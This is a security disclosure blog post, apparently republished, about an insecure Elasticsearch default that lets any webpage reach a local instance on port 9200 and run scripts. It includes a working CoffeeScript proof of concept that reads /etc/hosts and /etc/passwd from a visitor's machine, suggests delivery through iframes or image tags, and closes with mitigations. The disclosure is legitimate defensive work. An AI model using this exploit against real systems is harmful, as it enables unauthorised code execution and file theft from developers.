标签：
Elasticsearch has a flaw in its default configuration which makes it possible for any webpage to execute arbitrary code on visitors with Elasticsearch installed. If you’re running Elasticsearch in development please read the instructions on how to secure your machine. Elasticsearch version 1.2 (which is unreleased as of writing) is not vulnerable to remote code execution, but still has some security concerns.
There are a couple of problems which enable the proof of concept I’m going to present:
There are no issues up to this point as long as you properly follow the documentation and make sure your Elasticsearch cluster is not available from the outside world. There is one target that isn’t
mentioned in the documentation though: The Developer! When you’re developing an application that uses Elasticsearch, you probably have it running on your machine. The default port is 9200 and
because there is no CSRF protection any webpage can just connect to the cluster using localhost:9200 as the host.
The following script will read /etc/hosts and /etc/passwd from a user
visiting a webpage and display the contents in the browser.
read_file = (filename) ->
"""
import java.io.File;
import java.util.Scanner;
new Scanner(new File("#{filename}")).useDelimiter("\\\\Z").next();
"""
# This PoC assumes that there is at least one document stored in Elasticsearch, there are ways around that though
$ ->
payload = {
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {}
}
for filename in ["/etc/hosts", "/etc/passwd"]
payload["script_fields"][filename] = {"script": read_file(filename)}
$.getJSON "http://localhost:9200/_search?source=#{encodeURIComponent(JSON.stringify(payload))}&callback=?", (data) ->
console.log(data)
for hit in data["hits"]["hits"]
for filename, contents of hit["fields"]
document.write("<h2>#{filename}</h2>")
for content in contents
document.write("<pre>" + content + "</pre>")
document.write("<hr>")
You can verify whether you’re vulnerable by trying out the above PoC here.
There are many ways to exploit this, you could link the victim to the page or embed it as an Iframe. You can even exploit this by crafting a URL and using it as the src of
an <img>, as the only thing that needs to happen is a single GET request. No user interaction required!
Because this is so easily exploitable you can mass-pwn developers with relatively little work.
Add the following line to your elasticsearch.yml to disable dynamic scripting and prevent remote code execution:
script.disable_dynamic: true
You should also make sure that your local Elasticsearch instance is only binding onlocalhost, as someone could exploit you over LAN
without making you visit a webpage if you don’t. The Homebrew Elasticsearch formula does this automatically. This still means you’re vulnerable to the CSRF exploit though!
If you want to be as secure as possible, you should run Elasticsearch inside a virtual machine, to make sure it has no access to the hosting machine at all.
Disabling scripting will prevent code execution, but that still leaves us with the issue of being able to query and administer the instance without limit. A webpage can easily dump the whole database running on your machine, sensitive data included. This is impossible to fix by the Elasticsearch developers without adding authentication or CSRF protection.
If an attacker can figure out the internal address of your production Elasticsearch instance, you’re also open to leaking your production data. If your development machine is connected to a VPN which provides access to your Elasticsearch cluster, an attacker can easily query or shut down your cluster simply by making you visit a webpage.
Insecure default in Elasticsearch enables remote code execution
标签：
原文地址：http://www.cnblogs.com/yxwkf/p/4652256.html
